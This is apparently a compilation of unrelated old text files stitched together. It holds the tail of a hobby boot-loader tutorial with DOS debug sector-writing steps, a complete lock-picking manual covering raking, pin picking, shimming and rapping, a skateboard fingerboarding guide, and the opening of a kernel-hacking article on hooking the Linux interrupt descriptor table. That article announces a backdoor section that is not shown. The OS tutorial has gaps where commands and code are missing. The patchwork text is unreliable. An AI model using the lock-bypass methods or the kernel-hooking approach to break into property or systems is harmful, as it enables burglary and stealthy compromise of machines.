program, which then loads the OS proper. This is known as a multi-stage
boot. Large operating systems that have a lot of things to set up,
a complicated file structure, and flexible configuration, will utilize
a multi-stage boot loader. A classic example of this is GNU's GRand
Unified Bootloader ( GRUB ).
http://www.gnu.org/software/grub
;-boot.asm----------------------------------------------------------------
.8086
CSEG SEGMENT
start:
MOV AH,0EH
MOV AL,'-'
INT 10H
MOV AH,0EH
MOV AL,'J'
INT 10H
MOV AH,0EH
MOV AL,'M'
INT 10H
MOV AH,0EH
MOV AL,'P'
INT 10H
MOV AH,0EH
MOV AL,'-'
INT 10H
JMP BX
CSEG ENDS
END start
;-end file----------------------------------------------------------------
This boot loader also assumes that the system code to be loaded lies
in sectors 2-17 on the first track. As the OS gets bigger ( beyond 8K ),
extra instructions will be needed to load the additional code. But for now
lets assume that the code will be less than 8K in size.
OK, you should build the above code as a .COM file and burn it on to the
boot sector. The boot.asm file is assembled via:
Ah ha! Debug to the rescue. Note, for big jobs I would recommend rawrite.
This is such a small job that debug will suffice. Not to mention, I have
nostalgic feeling about debug. I assembled my first program with it; back
in the 1980s when parachute pants were in.
Assuming the boot code has been assembled to a file named boot.COM, here
is how you would write it to the boot sector of a floppy disk.
C:\DOCS\OS\lab\bsector>debug showmsg.com
-l
-w cs:0100 0 0 1
-q
C:\DOCS\OS\lab\bsector>
The 'l' command loads the file to memory starting at CS:0100 hex.
The 'w' command writes this memory to disk A ( 0 ) starting at sector 0
and writing a single sector. The 'w' command has the general form:
If you want to test this whole procedure, assemble the following program
as a .COM file and burn it on to the boot sector of a diskette with debug.
.486
CSEG SEGMENT
start:
MOV AH,0EH
MOV AL,'-'
INT 10H
MOV AH,0EH
MOV AL,'h'
INT 10H
MOV AH,0EH
MOV AL,'i'
INT 10H
MOV AH,0EH
MOV AL,'-'
INT 10H
lp LABEL NEAR
JMP lp
CSEG ENDS
END start
This will print '-hi-' to the console and then loop. It's a nice way to
break the ice and build your confidence. Especially if you've never
manually meddled with disk sectors.
The boot sector loads the system code binary into memory and then sets
CS and IP to the first ( lowest ) byte of the code's instructions. My
system code doesn't do anything more than print a few messages and then
jump to protected mode. Execution ends in an infinite loop.
My situation was even more tenuous because I was fitting everything into a
single segment. Once I had made the translation to protected mode, there
wasn't that much that I could do that was very interesting.
One solution would be to convert my 16-bit system code into the second
phase of a multi-stage boot process. In other words, have the system code,
which was loaded by the boat sector, load a 32-bit binary into memory
before it makes the transition to protected mode. When the FAR JMP is
executed, it could send execution to the 32-bit code ... which could then
take matters from there. If you look at MMURTL, you will see that this
is exactly what Burgess does. Doh! I just wish I had known sooner.
I was excited initially by the thought of being able to leverage the Micro-
C compiler. However, as you will see, most of the set up work was done
via in-line assembly. Only small portions were pure C. This is the nature
of initializing an OS. Key memory and task management functions are
anchored directly to the hardware, and the best that you can hope for is
to bury the assembly code deep in the bowels of the OS and wrap everything
in C.
/* os.c ----------------------------------------------------------------*/
void printBiosCh(ch)
char ch;
{
/*
ch = BP + savedBP + retaddress = BP + 4 bytes
*/
asm "MOV AH,0EH";
asm "MOV AL,+4[BP]";
asm "INT 10H";
return;
}/*end printBiosCh---------------------------------------*/
void printBiosStr(cptr,n)
char* cptr;
int n;
{
int i;
for(i=0;i<n;i++){ printBiosCh(cptr[i]); }
return;
}/*end printBiosStr--------------------------------------*/
void setUpMemory()
{
/*going to protected mode is an 6-step dance*/
/*
step 2) disable interrupts so we can work undisturbed
( note, once we issue CLI, we cannot use BIOS interrupts
to print data to the screen )
*/
printBiosCh('2');
asm "CLI";
/*
step 3) enable A20 address line via keyboard controller
60H = status port, 64H = control port on 8042
*/
/*
step 4) execute LGDT instruction to load GDTR with GDT info
recall GDTR = 48-bits
= [32-bit base address][16-bit limit]
HI-bit LO-bit
*/
/*
copy GDT to 0000[0]:0000 ( linear address is 00000000H )
makes life easier, so don't have to modify gdt_base
REP MOVSB moves DS:[SI] to ES:[DI] until CX=0
*/
/*
step 6) perform a manually coded FAR JUMP
( MASM would encode it incorrectly in 'USE16' mode )
*/
asm "_loadshell:";
asm "NOP";
asm "JMP _loadShell";
return;
}/*end setUpMemory---------------------------------------*/
void GDT()
{
/*
end up treating the function body as data
( can treat code as data as long as we don't execute it ;-))
*/
asm "nullDescriptor:";
asm "NDlimit0_15 dw 0 ; seg. limit";
asm "NDbaseAddr0_15 dw 0 ; base address";
asm "NDbaseAddr16_23 db 0 ; base address";
asm "NDflags db 0 ; segment type and flags";
asm "NDlimit_flags db 0 ; segment limit and flags";
asm "NDbaseAddr24_31 db 0 ; final 8 bits of base address";
asm "codeDescriptor:";
asm "CDlimit0_15 dw 0FFFFH";
asm "CDbaseAddr0_15 dw 0";
asm "CDbaseAddr16_23 db 0";
asm "CDflags db 9AH";
asm "CDlimit_flags db 0CFH";
asm "CDbaseAddr24_31 db 0";
asm "dataDescriptor:";
asm "DDlimit0_15 dw 0FFFFH";
asm "DDbaseAddr0_15 dw 0";
asm "DDbaseAddr16_23 db 0";
asm "DDflags db 92H";
asm "DDlimit_flags db 0CFH";
asm "DDbaseAddr24_31 db 0";
return;
}/*end GDT-----------------------------------------------*/
void main()
{
/*set up temp real-mode stack*/
asm "MOV AX,CS";
asm "MOV SS,AX";
asm "MOV AX, OFFSET CSEG:_tstack";
asm "ADD AX,80H";
asm "MOV SP,AX";
return;
}/*end main-------------------------------------------------------------*/
convert osPre.asm
Note how I've had to use the /Zm option so that I can assemble code that
obeys conventions intended for earlier versions of MASM. This step is
typically where the problems occurred. Needless to say, I became tired of
fixing up segment prefixes rather quickly and that is what led me to
write convert.c.
Finally, after a few tears, I linked the OS object file to one of Micro-C's
object files.
If you look back at convert.c, you'll see a whole load of EXTRN directives.
All of these imported symbols are math libraries that are located in the
PC86RL_T.OBJ file.
If you have a copy of NASM on your machine, you can verify your work with
the following command:
ndisasmw -b 16 os.com
This will dump a disassembled version of the code to the screen. If you
want a more permanent artifact, then use the listing file option when you
invoke ML.EXE:
Once you have the OS and boot sector code built. You should burn them on
to the boot floppy. You can do so with the DOS debug utility.
C:\DOCS\OS\lab\final>debug boot.com
-l
-w cs:0100 0 0 1
-q
C:\DOCS\OS\lab\final>debug os.com
-l
-w cs:0100 0 1 2
-q
After that, you just boot with the floppy disk and hang on!
I hope this article gave you some ideas to experiment with. Good luck
and have fun.
[6] Linux Core Kernel Commentary, 2nd Edition, Scott Andrew Maxwell,
The Coriolis Group; ISBN: 1588801497
This is an annotated stroll through the task and memory management
source code of Linux.
[10] IBM and the Holocaust: The Strategic Alliance Between Nazi Germany
and America's Most Powerful Corporation, Edwin Black,
Three Rivers Press; ISBN: 0609808990
I originally heard about this through one of Dave Emory's
radio broadcasts. Mae Brussell would agree ... profit at
any cost is not a good thing.
I would like to thank George Matkovitz, who wrote the first message-based
kernel in the world, and Mike Adler, a compiler wizard who was there
when Cray whipped IBM for sharing their thoughts and experiences with me.
<EOF>
L O C K PI C K I N G
BY
/< n i g h t m a r e
CONTENTS
INTRODUCTION
1 The warded Lock
2 Pin-tumbler lock and wafer locks
3 Wafer locks
4 The tension wrench turning tool
5 Raking pin-tumbler locks and wafer cylinder locks
6 Picking locks without a Turning tool
7 The lock gun
9 Pure picking
10 Opening locks without picking
11 Rapping open locks
12 TOOLS AND APPARATUS
INTRODUCTION
The main purpose of writing this work is to provide the modern student with
an up-to-date, accurate book to enable him to explore the fascinating
subject of lock picking. In by gone years, people who were drawn to magic of
the lock, were tempted to 'pick locks', and were confronted by obstacles to
protect the lock, such as devices which would shoot steel barbs into the
picker's hands. vicious toothed jaws were employed to cut off the thief�s
fingers. perhaps the most fearsome lock pick deterrent was a devilish device
which would fire a bullet if the locking mechanism was tampered with.
Probably the best place to begin this book is at the point at which mass
lock manufacture began, with the WARDED LOCK. These locks are generally of
simple construction, These are of simple construction and generally, and
therefore recommended for the beginner. The dictionary defines 'ward' as 'to
guard, keep away, or to fend off', which in reality is exactly what the lock
does.
(See FIG. 1.) The small circular section is the ward with the wrong type of
key attempting to open the lock. Ti is quite obvious that if this key were
to be turned, its turning path would be halted by the protruding ward.
FIG. 1 FIG. 2
FIG. 2 shows the correct key which will open the warded lock.
It has just the right cuts on the bit to miss the wards. warded locks are
found in many forms. FIG. 3 is a normal key, with an intricate patterned bit
which would open an old and beautifully designed, elaborate ward lock. At
this point, I would like to say that key collecting had become a hobby for
many people. Since keys are quite easy to come by, a nice display can soon
be obtained.
__
/ \__.,-,________
\__/--.,-,--------'
[]
[[
Normal Key
FIG. 3
the security of the warded lock was further enhanced by the shape of the key
hole, preventing entry to everything apart from the correct key. the
extravagant shapes, in both the wards and the key holes, are the only
problems which we must overcome in picking open the warded lock. we do this
by inserting a pick, which is much thinner than the lock's keyhole, or by
using a skeleton key. FIG. 5 shows this best in the case of the skeleton
key, which would open the same lock which is in our FIG. 3. This skeleton
key has been cut from a blank. The area which would fool the locks ward's
has been removed, forming the new key. For the complete newcomer the world
of locks, I should explain that the word 'blank' is the name given to the
key before it is cut to the desired shape.
______ __.__________
| /\ | __ __ __ __|
| || | ' _|| ||_
| \\ | |.-' '-.|
| // | || ||
| C| | skeleton|'-. .-'|
| || | key '--' '--'
|______|
FIG. 4 FIG. 5
_____
/ ___ \
__/ / \ \__
| \___/ |
\ /
\____ ____/
/ \
______| |______
| __ ( ) __ |
.---> | (__| | | |__) |
| | < > |
Wards ---|---> | ====| |==== |
| | ( ) |
'---> | =====|_ _|===== |
| [[[[(_____)]]]] |
| (_) |
|_________________|
Y Y
| |
Opening spring
FIG. 7 shows how we overcome this lock with a key that has been skeletoned,
and which will now open this and many others.
This has been achieved by removing all the projections other than the end
which comes into contact with the spring-opening point.
Take a look and make sure you read and understand this before moving on.
__
_ __nn_n/ \_
(_| |______ o_:
_ __ _\__/
U UU U
FIG. 7
FIG. 8 is a warded pick in it's most simple form - a coil spring with it's
end bend and flattened. If the coil is of suitable diameter, it will fit
onto the end of your index finger. This forms, as it were, an extension of
your finger, and you will find that it is a highly sensitive tool to fell
the layout of the interior and so find and trigger the mechanism. This
sensitive manipulation can be achieved only with practice. If the spring
pick becomes weak or bent simply pull out a new length from the coil and you
have a brand new tool.
Before we move on, I would suggest that you build up a large set of picks
of different sizes.
________________________________________
| ____ |
| /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ | |
|________________________________________|
Coil Spring
FIG. 8
Look inside as many locks as possible -- it's the finest way of becoming a
lock expert. picking locks is a true art form and even more difficult than
learning to play a musical instrument proficiently.
In summing up the subject of warded locks, I would say that once you have
clearly understood that the wards simply guard the opening, and also that
the actual shape of the keyhole prevents the wrong key entering, you are
well on the right path to becoming a total master at this type of lock.
start looking for warded locks: they are usually older locks or at the cheap
end of the market.
The most difficult task before the novice must be to identify the particular
type of lock he is trying to pick. Is the lock a WAFER or PIN-TUMBLER? Or,
in the case of the raw beginner, is the lock a LEVER or PIN-TUMBLER? There
is no simple answer. The ability to identify the particular types comes only
with practice and study.
Open up as many old locks as you can and study the principles, LOOKING ALL
THE TIME FOR WEAK POINTS which are built into the design. Believe me, ALL
locks have weak points.
When we first look at this type of lock, it would appear that all
necessary to insert a small implement into the keyway and give it a turn for
the device to open. plainly this is not the case, as we can see when we take
a closer look at FIG. 10 This is a typical PIN-TUMBLER lock, and generally
consists of pairs of bottom pins made from brass and with the top drivers
formed in steel. Commonly, five pairs of pins are found. in the smaller,
cheaper models, four are more common.
______________________________
\ K
| | | | | | / E
| | | | \ Y [|] Upper tumbler pin
^ ^ / H [^] Lower tumbler pin
^ ^ ^ ^ ^ ^ \ O [-] Cylinder wall
/ L This is a greatly simplified
\ E drawing
______________________________/
FIG. 10
_______
Shear Line / ___ \
- - - - -| |///| | <-- Springs
/ |[ ]|<-\----- Top Drivers
Plug\ \ @ /<-/----- Bottom Pins
\___|___/
Key
FIG. 11
_______
Shear Line / ___ \
- - - - -| |///| |
/ |[ ]| /\
\ / / / <-- Plug Turning
\___///_/
FIG. 11a
________
/ \
Shearing Line --> __ _ ___ _ ___ _ ___ / \ A
/ _ _ _ _ _ \/ /\ \
/ |_||_||_||_||_| ___/\ \/ / K
\ / \/\/\/\/\/\/\____\/ / E
\____________________/\__________/ Y
FIG. 12
FIG. 11 is the end-view of the arrangement. Each of the locks shown in FIGS.
10, 11 and 12 are ready to open, since in each case they have been given the
right key ready to turn the plug.
FIG. 12 shows each of the five bottom brass pins settled into it's own notch
along the key. This ha the effect of bringing the point between the drivers
and the pins EXACTLY to the same height. ONLY THE PROPER KEY WILL ALIGN ALL
FIVE PINS AT THIS HEIGHT, WHICH WE CALL THE SHEAR OR SHEARING LINE, AT THE
SAME TIME. All five pins must be in line together, and, when we have this
state of affairs, the plug will turn opening the lock. FIG. 11a shows the
plug starting to turn. FIG. 11 is an end-view, and shows the shaded plug
ready to turn. Make sure you fully understand this before you go on. Most
students fail to understand that the bottom brass pins TURN WITH THE PLUG.
FIG. 13 shows this. the top holding drivers stay put in the chambers in the
outer case. Remember that the bottom pins must turn with the plug because
they are contained within unit. It is important to know that if only one
notch on the key is even SLIGHTLY wrong, too high or too low, the plug would
be prevented from turning, just one pin, sitting into this plug from the
outer case, has such an amazing strength that it would be impossible to snap
-- such is the power of each little pin.
:::::
___ ##### <-- Top Drivers
/ \ooooo Plug Turning |
\___/===== <'
OOOOO <-- Bottom pins
FIG. 13
I have cut away the plug in FIG. 13 and the pins can clearly be seen in the
turning motion. With all the required points within the lock aligned, the
plug must and will turn. However, let us take a look at what would happen if
the wrong key were inserted. FIG. 14 shows this, with the top drivers, still
inside the plugs, preventing it from turning. The wrong key is just as bad
as no key, and the lock stays locked.
Chambers
______/___|___\______
| / | \ |
| \/ V \/ |
| __ __ __ |
--------| __ | | | | | | |-------- <-- Shear line
Plug --> _|_| |_| |_| |_| |_|_
[ | | | | | | | | | | ]
[ | '--' '--' '--' '--' | ]
[ | .--. .--. .--. .--. | ]
[ | '--' '--' '--' '--' | ]
[_|_____________________|_]
'---------------------'
FIG. 14
FIG. 15 is the end-view, showing the top driver inside the plug, preventing
the turning, and the driver just below the shearing line. I have already
said that these little drivers are manufactured from steel and are very
strong indeed, overcoming any force that a normal wrong key or instrument
could present. even if there were only one little driver inside the plug, it
would still be unable to rotate, or be snapped at the shear line. Now
multiply that strength by five, and I am sure that you will understand it's
almost superhuman strength. Before I move on I must explain that there a no
skeleton keys which will magically open this lock, or it's brother the
WAFER.
FIG. 15
The turning tool replaces the bottom part of the key, and the pick replaces
the notches on the key. Just think of the turning tool as part of the key,
and the pick as the notches. Once you have all the points inside the line,
only a small amount of light pressure is needed to turn the plug. Most books
on the subject stress that too much pressure is wrong. FIG. 20 shows the top
driver inside the chamber binding on three points, because the tension is
too great. Trial and error seems to be the only true way, with only light
turning applied.
FIG. 16 shows a single-sided wafer lock. This type of lock contains WAFERS
instead of pins and drivers, and is known as a DISC-TUMBLER instead of a pin
tumbler. the wafers, five as in a pin-tumbler, are held in place by a small,
light spring, as shown (left hand side) of FIGS. 16 and 17. FIG. 16 shows
the lock closed, and FIG. 17 open. The wafer lock is best opened by RAKING,
which is explained later in this work.
________ ________
/ __ \ / __ \
=| / \ | =| / \ |
=| | | | =| | | |
/_ \__/ | /_ \__/ |
\__ __/ \__ __/
--.\__/.-- __ \__/ __
'----' '____'
Locked Unlocked
FIG. 16 FIG. 17
Probably the single most important factor in lock manipulation is the use of
the TENSION WRENCH which I prefer to call the TURNING TOOL. perhaps if it
had been given this name in the first place, hundreds of aspiring locksmiths
would have had greater instant success. I maintain that the word 'tension'
implies that great pressure has to be exerted by this tool. Add to this the
word 'wrench' and totally the wrong impression is given. in order that you
will fully understand the use of this turning tool, I will explain it's
simple function. FIG. 18 shows an normal pin-tumbler or wafer key; FIG. 19
shows the key cut away. This bottom section is now a turning tool. the
reality is that the notches along the key would lift the bottom pins level
with the shearing line, and the part beneath would turn the plug.
FIG. 18 FIG. 19
The turning tool replaces the bottom part of the key, and the pick replaces
the notches on the key. Just think of the turning tool as part of the key,
and the picks as the notches. Once you have all of the points inside the
line, only a small amount of light pressure is needed to turn the plug. Most
books on the subject stress that too much pressure is wrong. The student
must first know why too much tension is wrong. FIG. 20 shows the top driver
inside the chamber binding on the tree points, because the tension is too
great. Trial and error seems to be the only true way, with only light
turning applied
___________
| ------. <|----Spring
| .-----' | Top chamber
| '-----. |
| .-----' |
| _'--_____ | Binding
|| || |
|| || V
______|| ||______
------.|_________|.------ Shear line
| | <-- Binding
FIG. 20
If you are raking open a lock, no real pressure need be applied because the
pins and wafers MUST be free to bounce into line with the shearing line. if
too much pressure is used, it prevents this as shown in FIG. 20. Multiply
the one shown by, and you can imagine the lock is well and truly bound
tight. I have used a lot of words in trying to say what has not been put in
print before.
|
--------------'
|
.--------------'
| TURNING TOOLS
FIG. 21
The turning tools are shown in FIG. 21. Once again, I get onto my high
horse, and say that it is not necessary to have lots of different turning
tools in your kit. it is complete nonsense to have light, medium and heavy
tools. Further confusing the is the term used to rigidity of the different
types. This is termed the 'weight', but most of my students mistakenly
assume the actual weight is important to the turning potential. the best is
to choose a medium weight tension wrench and from then on call it a turning
tool. If I am not careful I will change the whole lock picking vocabulary.
The best and easiest wafer or pin-tumbler locks to open are the ones which
contain the smaller pin or wafer sizes together in the same lock, i.e. small
pins in each chamber and ideally all about the same length. When this state
exists, the method to open the lock is by RAKING.
The first plan of attack on any lock of this type, whether it is a padlock
protected with this locking arrangement, a door on a car or a house, is to
try raking. the turning tool fits into the bottom section of the keyway, as
shown in FIG. 22, with just the weight of your finger. No visible bend
should be seen on the tool, otherwise it will be found impossible to pick
open the lock with this method.
________________________
/ \ the tools got to
/ \ be at 45 DEG.
/ ______ \ parallel like
\ / n \ / so: //
\ ********@____/ /
\ / / *** the pick
\ / / / turning tool
\____/_______________/
FIG. 22
Using the picks shown in FIG. 23, we rake the lock, as we shall explain
later, starting with pick number one and working up through until you open
the lock. Perhaps, before we get down to the actual method of raking, we had
better take a close look at the make-up of this tool, known as a RAKE. Look
again at FIG. 23. Notice that 1B is just the same as 1A except that it has
been cut in half, giving the half double ball. 1C is a silhouette of them
both.
If we look closely at 2A, 2B and 2C, we find they are arranged just the
same as the first group. 3A, 3B and 3C are know as DIAMONDS because of their
shape. There seems to be no reason for A, B and C in each of the groups 1, 2
and 3 other than, in the case of the diamonds, for use in smaller locks.
Don't let the different sizes bother you, but just use whatever you have in
your set.
RAKING TOOLS
FIG. 23
1A 1B 1C
|
- | /
| /| \
/ \ / \ / \
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
|_| |_| |_|
2A 2B 2C
o
| o /
/\ \ |
/ \ / \ / \
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
|__| |_| |_|
3A 3B 3C
< <| _ |>
| <| | /_| || Handy
| /| | || || Double
/| / | /| 4 || || Ended
| | | | | | || || Rake
| | | | | | || ||
| | | | | | || ||
| | | | | | / \ ||
| | | | | | | | \\
|_| |_| |_| /____\ //
3 Diamond Rakes
This action has the effect of causing all the pins, which have been in
contact momentarily with the rake's passage out of the cylinder to vibrate,
each pin lifts the top driver out of the plug with this vibrating momentum
given> The whole thing is really a bit hit and miss, because some of the top
drivers will be out will others are still holding the plug. We must repeat
with the same rake about twenty times, and only if unsuccessful then move on
to another, following the pattern outlined in FIG. 23.
When we rake a lock, we are raising the pins inside the lock to the shear
line. moving through the different shaped picks varies the pattern of the
lift as the tool is repeatedly drawn out. The pins and drivers are bouncing
about the shear line, just waiting to please you and be at the right height
to open as you turn with your turning tool, which has been in place
throughout. I MUST STRESS THAT THE TURNING TOOL HAS NOT BEEN EXERTING A
CONSTANT TURNING PRESSURE, OTHERWISE THE PINS WOULD BIND, AS SHOWN IN FIG.
20. The pressure exerted is best described as a pulsating one. Gentle
pressure must only be on as the rake is leaving the lock on the way out. No
pressure is on as the pins are vibrating. The pins vibrate and the pulsating
turning tool turns the plug, so opening the lock. If too much pressure is
applied at the opening wrong moment, binding takes place and picking is
impossible.
Normally, I first test a lock by inserting my Turing tool into the lock,
turning it in both directions. Any slight movement tells me a few things
about the locks without actually seeing inside it. If has a lot of movement
in each direction, then it is going to be an easy lock to open. Its general
condition tells me if it is an old, worn or cheap lock. if you find little
movement an the lock is known to be a good one, then it is going to take a
little longer or require another technique.
_
( )----------.
| |__________|____
| | )_
| | )
| | )____
| | LOCK )---.|
| | _) ^||
| | ___) / ||
| | | / '' <-- Cam
(_)-----------' BEND
FIG. 25
_
/ \____ Finger provides
/ \ \_) <----- turning
/___/-\ \
/ / (__)
_||_
(____)
||
||
||
||
||
||
FIG. 26 '' Pick held in other hand
Another practice tip is to remove two sets of pins and drivers, leaving
three sets within the lock, thereby reducing the strength and making it a
little easier to manipulate.
This useful tool is really a super raking device. pulling the trigger causes
the needle probes to flick upwards, and this has the effect of bouncing the
pins about the shearing line. this tool is capable of producing a continuous
vibration of the pins, making picking easy. It is a useful tool, and a nice
addition to your toolkit. The gun is shown in FIG. 27.
_______/\
<.|- \__
\ \_______
\ |_/
/ . _____| =[]
/ | \\ \
/ / \\ \__
/ . / (|
|_____/ .------
Lock Gun |
FIG. 27
Before we leave raking, perhaps we had better look at my own invention, the
LOCK MASTER, which has certain advantages over the lock gun, and even more
disadvantages. That said, its main advantage is a big one -- it completely
eliminates the need for a turning tool. Its bottom section has its own
turning tool built in. FIG. 28 shows the tool. the top is flicked with the
index finger nail, and the probe is returned to the horizontal by means of
two small springs. the finger snaps away while the master is twisted, again
in the pulsating fashion. The main disadvantage is that you have to have
different LOCK MASTERS for different size lock.
________________
/----------#-(.)-\-
___________#_(.)_
(______________ )____ Lock Master
/\__) \
| |
\________/
FIG. 28
Pure picking
-------------------
--. \ Top __ __ __
| | Chambers |==||==||==|
/ \ / \ '-------> |==||==||--|
| | | | ____|--||--|'--|___ <--- Shear Line
| | | | '--''--'.__.
| | | | .--..--.| |
| | | | '--''--''--'
| | | | ( )_______________
| | | | \_______________/
| | | | ___________________
| | | | Hook lifting Pin to
'-' '-' Shearing Line
Hook Picks
FIG. 30
FIG. 30
It requires a fair measure of practice, and even more patience, but the
rewards once you are a master of this technique are more than words can
convey. Using whatever method you choose to turn the plug, FIG. 30 shows the
pick lifting the pins one at a time until they are pushed out of the plug
into the top chambers. All the time, a very gentle turning motion has been
applied by means of the turning tool. FIG. 31 shows the lock set to open.
Set to open
___ ___ ___
| = || = || = |
|.-.||.-.||.-.| Notice how the
Shear line ___|'-'||'-'||'-'|___ bottom pins line
_ _ _ <--------- up precisely on
| | | | | | the shear line
'-' '-' '-'
FIG. 31
____________
U----(____________) Small
____________
\----(____________) Medium
____________
|____(____________) Large
FIG. 32
Use the correct size of hook pick, by first trying the smallest. see FIG.
32. Practice this, and you will have a gem.
FIG. 33 some points of attack which you will find convenient, and which have
been unknowingly built into the lock's construction by the manufacturer. The
method is known as shimming. FIG. 34 shows a collection of springs and
probes. go along to your local watchmaker and obtain as many as you can. Add
to this blades from junior hacksaws, coping and fretsaws and you will soon
have a fine collection.
FIG. 33
________ X
X / ______ \ /
\ / / \ \
\__/ /________\ \__
|\ |_|_------ | | |
| |_,-.----.#| | |
X----|--| ||_.--._||=| |
| '-' .-''-. |=| |
| | | |=| |
| | | |=| |
| '----' '=' |
|__________________|
Saw Blades
____________\_
______________) -----------------, __________________
\ VVVVVVVVVVVVVVVVV vvvvvvvvvvvvvvvvvv'
FIG. 34
Taking advantage of the lock's weak points, we insert our clock spring or
saw blade between the point where the two halves of the lock case meet, or
down the side of the shackle, following the line of the bow, and so pushing
back the spring-loaded bolt.
___ Sharp
| | Blow
FIG. 35 _| |_
\ / Pins
\ / __ line up
\ / | | on the
________V_____| | Shear Line
Blow causes | __ _ _ _ _ |
the pins and | |==||=|=|=|=| |
drivers to |-|V ||V|V|V|V|___| Shearing
vibrate -----| |^ ||^|^|^|^| |-------
| |V ||V|V|V|V| | Line
| |--||-|-|-|-| |
| '--''-'-'-'-' |
'______________ |
| |
|__|
______
/,^--. \
__ __/ /
/ \___/ / /
/ ---. __ \
/ _/ ( \
/ C. / \
\ \\ (o) / <--- Sharp blow at this
\ \, | / point opens the lock
\___________/
Get together as many locks of all types as possible. ask your friends if
they can find you any old locks for which they have lost the keys. After
experimenting with the locks, open them up to find out how they work. This
is the finest way to becoming a true lock expert.
If you are beaten by a particular lock, don�t despair. I know the feeling
all to well. it's back to the drawing board, or, more correctly, the
workshop. Open it up, study it's workings, then re-assemble. always LOOK FOR
ITS WEAK POINTS. believe me, it will have some; you just have to look long
enough and hard enough. Locks are like a chain, as strong as the weakest
link.
FFF III N N GGG EEE RRR BBB OOO AAA RRR DD III N N GGG
F I NN N G E R R B B O O A A R R D D I NN N G
FFF I N NN G EEE RRR BBB O O AAA RRR D D I N NN G
F I N N G G E RR B B O O A A RR D D I N N G G
F III N N GGG EEE R R BBB OOO A A R R DD III N N GGG
~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-
~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-
Sections
--------
~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-
{Fig. A}
Key
-------
F=Finger \=Left Tail 0=Wheel
/=Right Tail ^=Trucks _=Part of deck
\____F__________F/
^0^ ^0^
Next you hit the tail (with the finger that is placed on
on the tail) lift hand and push forwards.
After practice you //should// be able to get the board
into the air a few inchs ({Fig. B}).
{Fig. B}
|
0\F
\
\
\
\
0\_F
~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-
~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-
{Fig. C}
______________________F
/ . . . . \
| . .F . . |
\_______________________/
~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-
{Fig. D}
_
/F\
|. .|
|. .|
| |
-------| |-------
-------| |--------Grinding Object
| F |
|. .|
|. .|
\_/
Search in some local shops near you or buy them online from:
http://www.skateboard.com/techdeckshop/
|=-----=[ Handling Interrupt Descriptor Table for fun and profit ]=------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ kad, <kadamyse@altern.org> ]=-----------------------=|
--[ Contents
1 - Introduction
2 - Presentation
2.1 - What is an interrupt?
2.2 - Interrupts and exceptions
2.3 - Interrupt vector
2.4 - What is IDT?
3 - Exceptions
3.1 - List of exceptions
3.2 - Whats happening when an exception appears ?
3.3 - Hooking by mammon
3.4 - Generic interrupt hooking
3.5 - Hooking for profit : our first backdoor
3.6 - Hooking for fun
6 - CheckIDT
8 - Appendix
--[ 1 - Introduction
The Intel CPU can be run in two modes: real mode and protected mode.
The first mode does not protect any kernel registers from being altered
by userland programs. All modern Operating System make use of the
protected mode feature to restrict access to critical registers by
userland processes. The protected mode offers 4 different 'privilege
levels' (ranging from 0..3, aka ring0..ring3). Userland applications
are usually executed in ring3. The kernel on the other hand is executed
in the most privileged mode, ring0. This grants the kernel full access
to all CPU registers, all parts of the hardware and the memory. With no
question is this the mode of choice to do start some hacking.
The presented examples in this article will only make use of LKM to
load the executable code into kernel space for simplicity reasons. Other
techniques which are not scope of this document can be used to either
load the executable code into the kernel space or to hide the kernel
module (Spacewalker's method for example).
CheckIDT which is a useful tool for examining the IDT and to avoid
kernel panics every 5 minutes is provided at the end of that paper.
--[ 2 - Presentation
Interrupts are split into two categories: Maskable interrupts which can
be ignored (or 'masked') for a short time period and non-maskable
interrupts which must be handled immediately. Unmaskable interrupts are
generated by critical events such as hardware failures; I won't deal
with them here. The well-known IRQs (Interrupt ReQuests) fall into the
category of maskable interrupts.
Linux uses only one software interrupt (0x80) which is used for the
syscall interface to invoke kernel functions.
63 48|47 40|39 32
+------------------------------------------------------------
| | |D|D| | | | | | | | |
| HANDLER OFFSET (16-31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED
| | |L|L| | | | | | | | |
=============================================================
| |
SEGMENT SELECTOR | HANDLER OFFSET (0-15) |
| |
------------------------------------------------------------+
31 16|15 0
Offset low and offset high contain the address of the function handling
the interrupt. This address is jumped at when an interrupt occurs. The goal
of the article is to change one of these addresses and let our own
interrupthandler beeing executed.
linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr)
insert an interrupt gate at the n place at the address
pointed to by the idt register. The interrupt handler's address
is stored in 'addr'.
linux/arch/i386/kernel/irq.c
All maskable interrupts and software interrupts are initialized with:
set_intr_gate :
linux/arch/i386/kernel/traps.c::set_system_gate(n, addr)
insert a trap gate.
The DPL field is set to 3.
set_system_gate(3,&int3)
set_system_gate(4,&overflow)
set_system_gate(5,&bounds)
set_system_gate(0x80,&system_call);
linux/arch/i386/kernel/traps.c::set_trap_gate(n, addr)
insert a trap gate with the DPL field set to 0.
The Others exception are initialized with set_trap_gate :
set_trap_gate(0,÷_error)
set_trap_gate(1,&debug)
set_trap_gate(2,&nmi)
set_trap_gate(6,&invalid_op)
set_trap_gate(7,&device_not_available)
set_trap_gate(8,&double_fault)
set_trap_gate(9,&coprocessor_segment_overrun)
set_trap_gate(10,&invalid_TSS)
set_trap_gate(11,&segment_not_present)
set_trap_gate(12,&stack_segment)
set_trap_gate(13,&general_protection)
set_trap_gate(14,&page_fault)
set_trap_gate(15,&spurious_interrupt_bug)
set_trap_gate(16,&coprocessor_error)
set_trap_gate(17,&alignement_check)
set_trap_gate(18,&machine_check)
IRQ interrupts are initialized by set_intr_gate(), Exception int3,
overflow, bound and the system_call software interrupt by set_system_gate().
All others exceptions are initialized by set_trap_gate().
Let's start over with some practice and examine the currently assigned
handler addresses for each interrupt. Use the tool CheckIDT [6] attached
to this article for this:
%./checkidt -A -s
